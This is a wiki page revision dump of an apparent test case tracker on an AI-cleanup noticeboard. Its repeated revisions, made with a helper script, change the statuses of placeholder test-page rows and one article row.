{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=requested|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 8Page 817876|status=unnecessary|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]asdads}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
ea83jmb4p5a1fz5f715dzk6pbmpug5m
768320
768318
2026-10-13T17:13:43Z
DVRTed
55993
Updated row for [[Test6 Page 817876]] (using [[User:DVRTed/AINB-helper|AINB-helper]])
768320
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=requested|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 8Page 817876|status=unnecessary|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]asdads}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
p52hnzvg2em7pql5sz2hrctlxlatqa0
768321
768320
2026-10-13T17:14:36Z
DVRTed
55993
edit conflict
768321
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=requested|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]asdads}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
8ew6i342yihy1vay8f5io6cr0a19vb9
768322
768321
2026-10-13T17:15:14Z
DVRTed
55993
/* Cleanup */
768322
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=requested|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]asdads}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
p0xauz9zbgvisjjfgsa4xk9r3ce3nd2
768323
768322
2026-10-13T17:15:17Z
DVRTed
55993
Updated row for [[Test 9Page 817876]] (using [[User:DVRTed/AINB-helper|AINB-helper]])
768323
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=requested|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]asdads}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
8ew6i342yihy1vay8f5io6cr0a19vb9
768324
768323
2026-10-13T17:20:22Z
DVRTed
55993
Batch edited 2 rows (using [[User:DVRTed/AINB-helper|AINB-helper]])
768324
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=completed|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]asdads}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
ouahfgz66gz5h427rncxcxbms4y76h7
768325
768324
2026-10-13T17:21:59Z
DVRTed
55993
Batch edited 1 row (using [[User:DVRTed/AINB-helper|AINB-helper]])
768325
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=tagged|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]asdads}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
h08k65aybxu193p7vg6w7kwy1uquvdb
768326
768325
2026-10-13T17:22:48Z
DVRTed
55993
Batch edited 2 rows (using [[User:DVRTed/AINB-helper|AINB-helper]])
768326
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=tagged|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]asdads}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
p8q4j15j74qeb6eyhszb7l1cmjczwjx
768327
768326
2026-10-13T17:22:54Z
DVRTed
55993
Updated row for [[BS Nymph]] (using [[User:DVRTed/AINB-helper|AINB-helper]])
768327
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=completed|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
